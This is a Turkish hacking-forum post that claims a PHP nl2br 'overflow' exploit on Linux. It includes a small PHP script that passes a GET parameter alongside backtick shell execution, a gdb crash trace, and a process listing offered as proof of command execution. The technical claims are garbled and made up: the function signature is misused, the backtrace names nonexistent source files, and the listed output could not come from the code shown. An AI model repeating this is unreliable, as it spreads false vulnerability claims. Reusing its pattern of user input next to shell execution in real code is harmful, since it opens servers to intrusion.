Php with Functions Linux

ExeOweR

Kıdemli Üye
5 Mar 2012
3,392
1,068
exe.php
S.A Arkadaşlar . sizlere bu yazımda php nin kullanıcıları için geliştirdiği küçük classlar yada fonksiyonlar sayesinde nasıl şaşırtmacalar yada
atlatmalar (hooking) yapılır onu göstereceğim.

----- Kullanacağımız fonksiyonun adı : nl2br
----- Kullanacağımız fonksiyonun işlevi : PHp nl2br komutu metin içerisndeki ENTER karakterlerini <BR> karakterine dönüştürür. Düz bir yazı dosyasını internette yayınlamak istiyorsanız
alt satıra enter ile geçildiği halde HTML sayfası bunları göstermez. nl2br tek komutta size yardımcı olur.
----- Kullanacağımız fonksiyonun örneği :

<?php
echo nl2br("satır 1 \\n satır 2.");
?>

FOnksiyonumuz nl2br ; php nin ana dosyalarında aşşağıdaki gibi tanıtılmıştır ve kullanıma açıktır.
string nl2br ( string $string [, bool $is_xhtml = true ] )
php nin 5.x versiyonlarında fonksiyon dosyaları baştan yazılmıştır sebebi ise bu tarz kötü kodlar ortaya çıkabileceğindendir.

nl2br fonksiyonu yazıya satır atlatma uygulamasını eklerken , dışarı taşma başarılı olursa verilen komutları varolan proccessden cıkartıyor ve yeni işlem olarak üste çıkartıyor.

şimdi sizlere php 5.2.8 kurulu bir linux makinesinde exploitlemenin outputunu paylaşacağım sonuçlara iyi bakalım..

------onur.php--------
<?php
$onr = $_GET["onr"];
$onur = `&`;
echo nl2br($onur,$onr);
?>
şimdi onur sabit’ine & değeri atadım . processde işlem ; 2222222222/11111111/00000000 yani azalarak işliyorsa aktarım tam tersine dönecek ve out of memory alacağız.

[trkshn@32 /www]$ php onur.php onr 8999999
Out of memory
[trkshn@32 /www]$ php onur.php onr 9999999
Segmentation fault: 11
(gdb) bt
#0 0x28745eb0 in strrchr () from /lib/libc.so.7
#1 0x0822d538 in zend_register_constant (c=0xbfbfcfb0)
at /usr/ports/lang/php5/work/php/nl2br/nl2br.c:429
#2 0x08251e0e in zif_define (ht=2, return_value=0x28825a98,
return_value_ptr=0x0, this_ptr=0x0, return_value_used=0)
at /usr/ports/lang/php5/work/php/nl2br_builtin_functions.c:688
#3 0x0826dba6 nl2br_builtin_functions
(execute_data=0x29401040)
nl2br_builtin.h:316

----------

gördüğünüz üzere aradaki 1000000 farkla taşma sağlandı ve işlem nl2br nin fonksiyonlarını kapsarken bu parantezden çıktı ve kendi başına bir işlem oldu
Şimdi bu nl2br nın php default javascript dosyasına bir göz gezdirelim : JavaScript nl2br - php.js

tagların arasına örneğin

onur1
onur2o
nur3

şeklinde yazıldıgında verileri onur1+satır+onur2o+satır+nur3 şeklinde ekliyor yani 3 adet değerimiz var kullanım için.
onur.php deki & in yanına ^ ve / işaretlerinide ekliyoruz.

<?php
$onr = $_GET["onr"];
$onur = `&|/|^`;
echo nl2br($onur,$onr);
?>

[trkshn@32 /www]$ php onur.php onr 9999999
Segmentation fault: 11
(gdb) bt
#0 0x28745eb0 in strrchr () from /lib/libc.so.7
#1 0x0822d538 in zend_register_constant (c=0xbfbfcfb0)
at /usr/ports/lang/php5/work/php/nl2br/nl2br.c:429
#2 0x08251e0e in zif_define (ht=2, return_value=0x28825a98,
return_value_ptr=0x0, this_ptr=0x0, return_value_used=0)
at /usr/ports/lang/php5/work/php/nl2br_builtin_functions.c:688
#3 0x0826dba6 nl2br_builtin_functions
(execute_data=0x29401040)
nl2br_builtin.h:316



[trkshn@32 /www]$ php onur.php onr "ps aux --sort -pid"
USER PID %CPU %MEM VSZ RSS TTY STAT START TIME COMMAND
mysql 2897 0.0 1.7 136700 17952 ? Sl Oct21 0:00 /usr/libexec/mysqld --basedir=/usr --datadir=/var/lib/mysq
trkshn 2483 0.0 1.0 43540 11368 ? Ssl Oct21 0:00 /usr/bin/python -E /usr/sbin/setroubleshootd
trkshn 3124 0.0 0.9 25816 10332 ? SN Oct21 0:00 /usr/bin/python -tt /usr/sbin/yum-updatesd
trkshn 2406 0.0 0.9 11572 10004 ? Ss Oct21 0:00 /usr/sbin/restorecond
trkshn 2928 0.0 0.6 17648 7120 ? Ss Oct21 0:00 /usr/local/apache2/bin/httpd -k start
nobOdy 2949 0.0 0.6 17648 6492 ? S Oct21 0:00 /usr/local/apache2/bin/httpd -k start
nobOdy 2950 0.0 0.6 17648 6492 ? S Oct21 0:00 /usr/local/apache2/bin/httpd -k start
nobOdy 2951 0.0 0.6 17648 6492 ? S Oct21 0:00 /usr/local/apache2/bin/httpd -k start
nobOdy 2952 0.0 0.6 17648 6492 ? S Oct21 0:00 /usr/local/apache2/bin/httpd -k start
nobOdy 2953 0.0 0.6 17648 6492 ? S Oct21 0:00 /usr/local/apache2/bin/httpd -k start
68 3115 0.0 0.3 5920 3912 ? Ss Oct21 0:01 hald
trkshn 18453 0.0 0.2 10140 2884 ? Ss 11:09 0:00 sshd: trkshn@pts/0
trkshn 2801 0.0 0.2 10020 2328 ? Ss Oct21 0:00 cupsd
trkshn 2959 0.0 0.1 9072 1876 ? Ss Oct21 0:00 sendmail: accepting connections
trkshn 475 0.0 0.1 3004 1600 ? S<s Oct21 0:00 /sbin/udevd -d


makale linux uzerinde yazilmistir butun dostlarıma gelsin.


Not: İnşallah Dogru Yere Açmışımdır Konuyu.
 
Üst

Turkhackteam.org internet sitesi 5651 sayılı kanun’un 2. maddesinin 1. fıkrasının m) bendi ile aynı kanunun 5. maddesi kapsamında "Yer Sağlayıcı" konumundadır. İçerikler ön onay olmaksızın tamamen kullanıcılar tarafından oluşturulmaktadır. Turkhackteam.org; Yer sağlayıcı olarak, kullanıcılar tarafından oluşturulan içeriği ya da hukuka aykırı paylaşımı kontrol etmekle ya da araştırmakla yükümlü değildir. Türkhackteam saldırı timleri Türk sitelerine hiçbir zararlı faaliyette bulunmaz. Türkhackteam üyelerinin yaptığı bireysel hack faaliyetlerinden Türkhackteam sorumlu değildir. Sitelerinize Türkhackteam ismi kullanılarak hack faaliyetinde bulunulursa, site-sunucu erişim loglarından bu faaliyeti gerçekleştiren ip adresini tespit edip diğer kanıtlarla birlikte savcılığa suç duyurusunda bulununuz.